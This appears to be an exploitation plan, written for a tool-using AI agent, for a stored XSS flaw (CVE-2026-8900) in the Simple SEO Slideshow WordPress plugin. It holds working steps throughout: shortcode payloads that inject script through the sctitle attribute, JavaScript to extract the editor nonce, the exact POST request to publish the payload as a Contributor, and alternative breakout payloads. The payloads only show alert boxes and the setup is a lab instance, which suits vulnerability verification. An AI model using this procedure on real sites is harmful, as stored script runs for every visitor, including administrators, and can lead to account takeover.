Exploitation Research Plan: CVE-2026-8900 (Simple SEO Slideshow Stored XSS)

1. Vulnerability Summary

The Simple SEO Slideshow plugin (versions <= 1.2.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the shortcode handler for [simpleslideshow] fails to properly sanitize or escape user-supplied attributes (such as sctitle, scexclude, etc.) before rendering them into the page HTML. A user with Contributor level permissions can embed malicious JavaScript within these attributes. When the post is saved, WordPress KSES does not filter attributes within shortcodes, and the plugin later echoes these values directly into the DOM.

2. Attack Vector Analysis

• Endpoint: WordPress Post Editor (/wp-admin/post.php or /wp-admin/post-new.php).
• Vulnerable Component: The [simpleslideshow] shortcode handler in simpleslideshow.php.
• Payload Carrier: Shortcode attributes, specifically sctitle.
• Authentication: Authenticated (Contributor+).
• Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts (Contributor role is sufficient).

3. Code Flow

1. Entry Point: An attacker creates a post containing a shortcode: [simpleslideshow sctitle='"><script>alert(1)</script>'].
2. Persistence: Upon saving, WordPress core stores the raw shortcode string in the post_content column of the wp_posts table.
3. Processing: When a user (including an Admin) views the post, WordPress invokes the shortcode callback function registered via add_shortcode( 'simpleslideshow', ... ) in simpleslideshow.php.
4. The Sink: The handler extracts the attributes and generates HTML. Based on js/simpleslideshow.js, the plugin likely renders hidden elements or attributes to pass settings to the frontend script:
   • imgtitle[index][0] = jQuery('img',this).eq(0).attr('title');
   • imgsubtitle[index][0] = jQuery('.slidedescr',this).html();
5. Execution: If the PHP handler outputs $atts['sctitle'] into a title attribute or inside a div with class slidedescr without using esc_attr() or esc_html(), the browser interprets the payload. The JS then further propagates the XSS by reading this content and re-inserting it via .html().

4. Nonce Acquisition Strategy

This exploit involves saving a standard WordPress post. It does not rely on a plugin-specific AJAX nonce, but rather the core WordPress post-editor nonces.

• Logic: To save a post as a Contributor, the agent must obtain the _wpnonce used by the editor.
• Procedure:
  1. Login to the WordPress dashboard as a Contributor.
  2. Use browser_navigate to go to http://[target]/wp-admin/post-new.php.
  3. Use browser_eval to extract the nonce required for the post.php submission:

     // Common location for the post nonce in the Gutenberg or Classic editor
     document.querySelector('#_wpnonce')?.value || document.querySelector('[name="_wpnonce"]')?.value;
     

  4. The agent will use this nonce in the subsequent POST request to save the post content.

5. Exploitation Strategy

1. Preparation: Identify the Contributor credentials and the target WordPress instance.
2. Authentication: Authenticate the session using the http_request tool.
3. Nonce Extraction: Navigate to the "New Post" page and extract the _wpnonce and the user_id.
4. Payload Injection: Submit a request to save a new post containing the malicious shortcode.
   • URL: http://[target]/wp-admin/post.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • action: editpost
     • post_ID: [NEW_POST_ID]
     • _wpnonce: [EXTRACTED_NONCE]
     • post_title: Security Research Slideshow
     • content: [simpleslideshow sctitle='"><script>alert(document.domain)</script>']
     • post_status: publish (or pending if Contributor cannot publish)
5. Trigger: Use browser_navigate to visit the permalink of the newly created post.

6. Test Data Setup

• User: A user with the contributor role (e.g., username: researcher, pass: password123).
• Environment: WordPress instance with simple-seo-slideshow version 1.2.8 installed and activated.
• Shortcode: The exploit utilizes the default shortcode [simpleslideshow].

7. Expected Results

• The POST request to post.php should return a 302 Found redirecting to the post editor with a success message.
• The post_content in the database should contain the unescaped payload.
• Upon visiting the post frontend, an alert box displaying the document.domain should appear, confirming the execution of the injected script.

8. Verification Steps

1. Database Check: Verify the payload is stored correctly using WP-CLI:

   wp post list --post_type=post --format=ids | xargs -I % wp post get % --field=post_content
   

2. Frontend Inspection: Check the rendered HTML source for the presence of the unescaped script:

   # Look for the sctitle value in the div or image tags
   curl -s http://[target]/path-to-post | grep "alert(document.domain)"
   

3. Execution Check: Confirm that the script executes in the browser context using the browser_eval tool to check for a global side effect (e.g., window.xss_executed = true).

9. Alternative Approaches

• Attribute Breakout: If sctitle is correctly escaped within HTML tags but used inside an attribute (e.g., value='...'), try breaking out with ' onmouseover='alert(1).
• Other Attributes: If sctitle is sanitized, test scexclude, scdelay, or scheight. Although js/mce_dialog.js uses parseInt on scdelay and scheight, the PHP side might still echo them raw before the JS loads.
• JS-based Trigger: Since simpleslideshow.js uses jQuery(...).html(), test if the payload can be stored in a way that bypasses initial PHP rendering but is executed when the JS processes the slideshow captions:
  • Payload: [simpleslideshow sctitle='<img src=x onerror=alert(1)>']